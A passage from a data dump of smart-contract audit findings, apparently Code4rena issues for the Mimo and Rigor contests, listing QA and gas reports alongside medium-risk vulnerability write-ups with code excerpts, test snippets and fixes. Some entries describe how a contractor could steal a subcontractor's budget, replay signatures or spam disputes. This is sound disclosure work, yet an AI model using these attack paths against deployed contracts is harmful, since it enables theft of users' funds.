flash loan but did not transfer the remaining balance back to mimoProxy or owner ***// return true; } ``` Add logs to test case test/02_integration/MIMOEmtpyVault.test.ts ``` it(\"should be able to empty vault with 1inch\", async () => { ... ... ... ++++ console.log(\"before emptyVault balance:--->\", (await wmatic.balanceOf(emptyVault.address)) + \"\"); const tx = await mimoProxy.execute(emptyVault.address, MIMOProxyData); const receipt = await tx.wait(1); ++++ console.log(\"after emptyVault balance: --->\", (await wmatic.balanceOf(emptyVault.address)) + \"\"); ``` print: ``` before emptyVault balance:---> 0 after emptyVault balance: ---> 44383268870065355782 ``` ## Tools Used ## Recommended Mitigation Steps ``` function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { .... .... require(flashloanRepayAmount <= vaultCollateral.balanceOf(address(this)), Errors.CANNOT_REPAY_FLASHLOAN); vaultCollateral.safeIncreaseAllowance(address(lendingPool), flashloanRepayAmount); //****transfer the remaining balance back to mimoProxy or owner ***// ++++ vaultCollateral.safeTransfer(address(mimoProxy), vaultCollateral.balanceOf(address(this)) - flashloanRepayAmount); return true; } ``` "}, {"title": " Lack of a contract existence check in MIMOProxy leadsto incorrect", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/15", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": " Lack of a contract existence check in MIMOProxy leadsto incorrect"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "MIMOProxy accepts mismatched `targets` and `data` arrays resulting in unexpected behaviour", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/8", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "MIMOProxy accepts mismatched `targets` and `data` arrays resulting in unexpected behaviour"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/1", "labels": [], "target": "2022-08-mimo-findings", "body": "Agreements & Disclosures"}, {"title": "Owner of project NFT has no purpose", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/413", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor disputed", "valid"], "target": "2022-08-rigor-findings", "body": "Owner of project NFT has no purpose"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/411", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/410", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/409", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/407", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/406", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/405", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/404", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/403", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/402", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/401", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Missing upper limit definition in replaceLenderFee() of HomeFi.sol", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/400", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Community.sol#L392-L394 https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/HomeFi.sol#L184-L197 # Vulnerability details # Missing upper limit definition in `replaceLenderFee()` of `HomeFi.sol` ## Impact The admin of the `HomeFi` contract can set `lenderFee` to greater than 100%, forcing calls to `lendToProject()` to all projects created in the future to revert. ## Proof of Concept Using the function `replaceLenderFee()`, admins of the `HomeFi` contract can set `lenderFee` to any arbitrary `uint256` value: ```solidity 185: function replaceLenderFee(uint256 _newLenderFee) 186: external 187: override 188: onlyAdmin 189: { 190: // Revert if no change in lender fee 191: require(lenderFee != _newLenderFee, \"HomeFi::!Change\"); 192: 193: // Reset variables 194: lenderFee = _newLenderFee; 195: 196: emit LenderFeeReplaced(_newLenderFee); 197: } ``` New projects that are created will then get its `lenderFee` from the `HomeFi` contract. When communities wish to lend to these projects, it calls `lendToProject()`, which has the following calculation: ```solidity 392: // Calculate lenderFee 393: uint256 _lenderFee = (_lendingAmount * _projectInstance.lenderFee()) / 394: (_projectInstance.lenderFee() + 1000); ``` If `lenderFee` a large value, such as `type(uint256).max`, the calculation shown above to overflow. This prevents any community from lending to any new projects. ## Recommended Mitigation Steps Consider adding a reasonable fee rate bounds checks in the `replaceLenderFee()` function. This would prevent potential griefing and increase the trust of users in the contract."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/399", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/398", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/396", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/392", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/391", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/390", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/389", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/388", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/387", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/386", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/385", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/383", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/382", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "New subcontractor can be set for a SCConfirmed task without current subcontractor consent", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/378", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L295-L316 # Vulnerability details Malicious builder/contractor can change the subcontractor for any task even if all the terms was agreed upon and work was started/finished, but the task wasn't set to completed yet, i.e. it's `SCConfirmed`, `getAlerts(_taskID)[2] == true`. This condition is not checked by inviteSC(). For example, a contractor can create a subcontractor of her own and front run valid setComplete() call with a sequence of `inviteSC(task, own_subcontractor) -> setComplete()` with a signatory from the `own_subcontractor`, stealing the task budget from the subcontractor who did the job. Contractor will not breach any duties with the community as the task will be done, while raiseDispute() will not work for a real subcontractor as the task record will be already changed. Setting the severity to be high as this creates an attack vector to fully steal task budget from the subcontractor as at the moment of any valid setComplete() call the task budget belongs to subcontractor as the job completion is already verified by all the parties. ## Proof of Concept inviteSC() requires either builder or contractor to call for the change and verify nothing else: https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L295-L316 ```solidity /// @inheritdoc IProject function inviteSC(uint256[] calldata _taskList, address[] calldata _scList) external override { // Revert if sender is neither builder nor contractor. require( _msgSender() == builder || _msgSender() == contractor, \"Project::!Builder||!GC\" ); // Revert if taskList array length not equal to scList array length. uint256 _length = _taskList.length; require(_length == _scList.length, \"Project::Lengths !match\"); // Invite subcontractor for each task. for (uint256 i = 0; i < _length; i++) { _inviteSC(_taskList[i], _scList[i], false); } emit MultipleSCInvited(_taskList, _scList); } ``` _inviteSC() only checks non-zero address and calls inviteSubcontractor(): https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L747-L762 ```solidity function _inviteSC( uint256 _taskID, address _sc, bool _emitEvent ) internal { // Revert if sc to invite is address 0 require(_sc != address(0), \"Project::0 address\"); // Internal call to tasks invite contractor tasks[_taskID].inviteSubcontractor(_sc); // If `_emitEvent` is true (called via changeOrder) then emit event if (_emitEvent) { emit SingleSCInvited(_taskID, _sc); } } ``` inviteSubcontractor() just sets the new value: https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/Tasks.sol#L106-L111 ```solidity function inviteSubcontractor(Task storage _self, address _sc) internal onlyInactive(_self) { _self.subcontractor = _sc; } ``` Task is paid only on completion by setComplete(): https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L349-L356 ```solidity // Mark task as complete. Only works when task is active. tasks[_taskID].setComplete(); // Transfer funds to subcontractor. currency.safeTransfer( tasks[_taskID].subcontractor, tasks[_taskID].cost ); ``` This way the absence of `getAlerts(_taskID)[2]` check and checkSignatureTask() call in inviteSC() provides a way for builder or contractor to steal task budget from a subcontractor. ## Recommended Mitigation Steps Consider calling checkSignatureTask() when `getAlerts(_taskID)[2]` is true, schematically: https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L310-L313 ```solidity // Invite subcontractor for each task. for (uint256 i = 0; i < _length; i++) { + if (getAlerts(_taskList[i])[2]) + checkSignatureTask(_data_with_scList[i], _signature, _taskList[i]); _inviteSC(_taskList[i], _scList[i], false); } ``` This approach is already implemented in changeOrder() where `_newSC` is a part of hash that has to be signed by all the parties: https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L386-L403 ```solidity function changeOrder(bytes calldata _data, bytes calldata _signature) external override nonReentrant { // Decode params from _data ( uint256 _taskID, address _newSC, uint256 _newCost, address _project ) = abi.decode(_data, (uint256, address, uint256, address)); // If the sender is disputes contract, then do not check for signatures. if (_msgSender() != disputes) { // Check for required signatures. checkSignatureTask(_data, _signature, _taskID); } ``` https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L477-L481 ```solidity // If new subcontractor is not zero address. if (_newSC != address(0)) { // Invite the new subcontractor for the task. _inviteSC(_taskID, _newSC, true); } ``` checkSignatureTask() checks all the signatures: https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L855-L861 ```solidity // When builder has not delegated rights to contractor else { // Check for B, SC and GC signatures checkSignatureValidity(builder, _hash, _signature, 0); checkSignatureValidity(contractor, _hash, _signature, 1); checkSignatureValidity(_sc, _hash, _signature, 2); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/377", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/375", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/370", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/367", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/366", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/361", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/359", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/358", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/357", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/354", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/353", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/352", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/351", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/350", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/349", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "It should not submit a project with no total budget. Requires at least one task with cost > 0", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/348", "labels": ["bug", "documentation", "2 (Med Risk)", "sponsor acknowledged", "sponsor disputed", "valid"], "target": "2022-08-rigor-findings", "body": "It should not submit a project with no total budget. Requires at least one task with cost > 0"}, {"title": "updateProjectHash does not check project address", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/347", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L162 # Vulnerability details In Project.sol, function `updateProjectHash` L162, `_data` (which is signed by builder and/or contractor) does not contain a reference to the project address. In all other external functions of Project.sol, `_data` contains the address of the project, used in this check: ```require(_projectAddress == address(this), \"Project::!projectAddress\");```. The lack of this verification makes it possible to reuse the same `_data`, and the same `_signature` on another project, in the case the latter has the same builder and/or contractor, and the same `_nonce`. In pratice, if the same group of people starts a new project, when `_nonce` reaches the correct value, anyone can change the hash of a task (if we suppose that that `updateTaskHash()` was used in the previous project)."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/345", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/344", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/343", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/342", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/341", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "`Project.raiseDispute()` doesn't use approvedHashes - meaning users who use contracts can't raise disputes", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/340", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L493-L536 # Vulnerability details ## Impact In case users are using a contract (like a multisig wallet) to interact with a project, they can't raise a dispute. The sponsors have added the `approveHash()` function to support users who wish to use contracts as builder/GC/SC. However, the `Project.raiseDispute()` function doesn't check them, meaning if any of those users wish to raise a dispute they can't do it. ## Proof of Concept I've modified [the following test](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/test/utils/disputeTests.ts#L179-L215), trying to use an approved hash. The test failed. ```typescript it('Builder can raise addTasks() dispute', async () => { let expected = 2; const actionValues = [ [exampleHash], [100000000000], expected, projectAddress, ]; // build and raise dispute transaction const [encodedData, signature] = await makeDispute( projectAddress, 0, 1, actionValues, signers[0], '0x4222', ); const encodedMsgHash = ethers.utils.keccak256(encodedData); await project.connect(signers[0]).approveHash(encodedMsgHash); let tx = await project .connect(signers[1]) .raiseDispute(encodedData, \"0x\"); // expect event await expect(tx) .to.emit(disputesContract, 'DisputeRaised') .withArgs(1, '0x4222'); // expect dispute raise to store info const _dispute = await disputesContract.disputes(1); const decodedAction = abiCoder.decode(types.taskAdd, _dispute.actionData); expect(_dispute.status).to.be.equal(1); expect(_dispute.taskID).to.be.equal(0); expect(decodedAction[0][0]).to.be.equal(exampleHash); expect(decodedAction[1][0]).to.be.equal(100000000000); expect(decodedAction[2]).to.be.equal(expected); expect(decodedAction[3]).to.be.equal(projectAddress); // expect unchanged number of tasks let taskCount = await project.taskCount(); expect(taskCount).to.be.equal(expected); }); ``` ## Recommended Mitigation Steps Make `raiseDispute()` to check for approvedHashes too"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/338", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/337", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Possible DOS in `lendToProject()` and `toggleLendingNeeded()` function because unbounded loop can run out of gas", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/336", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L710 # Vulnerability details ## Impact In `Project` contract, the `lendToProject()` function might not be available to be called if there are a lot of Task in `tasks[]` list of project. It means that the project cannot be funded by either builder or community owner. This can happen because `lendToProject()` used `projectCost()` function. And the loop in `projectCost()` did not have a mechanism to stop, it\u2019s only based on the length `taskCount`, and may take all the gas limit. If the gas limit is reached, this transaction will fail or revert. Same issue with `toggleLendingNeeded()` function which also call `projectCost()` function. ## Proof of Concept Function `projectCost()` did not have a mechanism to stop, only based on the `taskCount`. ```solidity function projectCost() public view override returns (uint256 _cost) { // Local instance of taskCount. To save gas. uint256 _length = taskCount; // Iterate over all tasks to sum their cost for (uint256 _taskID = 1; _taskID <= _length; _taskID++) { _cost += tasks[_taskID].cost; } } ``` There is no limit for builder when [add task](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L248-L257). And function `lendToProject()` used `projectCost()` to [check the new total lent value](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L199-L202) ```solidity require( projectCost() >= uint256(_newTotalLent), \"Project::value>required\" ); ``` ## Tools Used Manual Review ## Recommended Mitigation Steps Consider keep value of `projectCost()` in a storage variable and update it when a task is added or updated accordingly. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/335", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/333", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/332", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/330", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/328", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Anyone can create disputes if `contractor` is not set", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/327", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L498-L502 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/SignatureDecoder.sol#L25 # Vulnerability details ## Impact Disputes enable an actor to arbitrate & potentially enforce requested state changes. However, the current implementation does not properly implement authorization, thus anyone is able to create disputes and spam the system with invalid disputes. ## Proof of Concept Calling the `Project.raiseDispute` function with an invalid `_signature`, for instance providing a `_signature` with a length of 66 will return `address(0)` as the recovered signer address. [Project.raiseDispute](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L498-L502) ```solidity function raiseDispute(bytes calldata _data, bytes calldata _signature) external override { // Recover the signer from the signature address signer = SignatureDecoder.recoverKey( keccak256(_data), _signature, 0 ); ... } ``` [SignatureDecoder.sol#L25](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/SignatureDecoder.sol#L25) ```solidity function recoverKey( bytes32 messageHash, bytes memory messageSignatures, uint256 pos ) internal pure returns (address) { if (messageSignatures.length % 65 != 0) { return (address(0)); } ... } ``` If `_task` is set to `0` and the project does not have a `contractor`, the `require` checks will pass and `IDisputes(disputes).raiseDispute(_data, _signature);` is called. The same applies if a specific `_task` is given and if the task has a `subcontractor`. Then the check will also pass. [Project.raiseDispute](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Disputes.sol#L84-L122) ```solidity function raiseDispute(bytes calldata _data, bytes calldata _signature) external override { // Recover the signer from the signature address signer = SignatureDecoder.recoverKey( keccak256(_data), _signature, 0 ); // Decode params from _data (address _project, uint256 _task, , , ) = abi.decode( _data, (address, uint256, uint8, bytes, bytes) ); // Revert if decoded project address does not match this contract. Indicating incorrect _data. require(_project == address(this), \"Project::!projectAddress\"); if (_task == 0) { // Revet if sender is not builder or contractor require( signer == builder || signer == contractor, // @audit-info if `contractor = address(0)` and the recovered signer is also the zero-address, this check will pass \"Project::!(GC||Builder)\" ); } else { // Revet if sender is not builder, contractor or task's subcontractor require( signer == builder || signer == contractor || // @audit-info if `contractor = address(0)` and the recovered signer is also the zero-address, this check will pass signer == tasks[_task].subcontractor, \"Project::!(GC||Builder||SC)\" ); if (signer == tasks[_task].subcontractor) { // If sender is task's subcontractor, revert if invitation is not accepted. require(getAlerts(_task)[2], \"Project::!SCConfirmed\"); } } // Make a call to Disputes contract raiseDisputes. IDisputes(disputes).raiseDispute(_data, _signature); // @audit-info Dispute will be created. Anyone can spam the system with fake disputes } ``` ## Tools Used Manual review ## Recommended mitigation steps Consider checking the recovered `signer` address in `Project.raiseDispute` to not equal the zero-address: ```solidity function raiseDispute(bytes calldata _data, bytes calldata _signature) external override { // Recover the signer from the signature address signer = SignatureDecoder.recoverKey( keccak256(_data), _signature, 0 ); require(signer != address(0), \"Zero-address\"); // @audit-info Revert if signer is zero-address ... } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/326", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "No way to part ways with project contractor", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/325", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "sponsor disputed", "valid"], "target": "2022-08-rigor-findings", "body": "No way to part ways with project contractor"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/323", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/322", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Malicious delegated contractor can block funding tasks or mark tasks as complete", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/320", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged", "valid"], "target": "2022-08-rigor-findings", "body": "Malicious delegated contractor can block 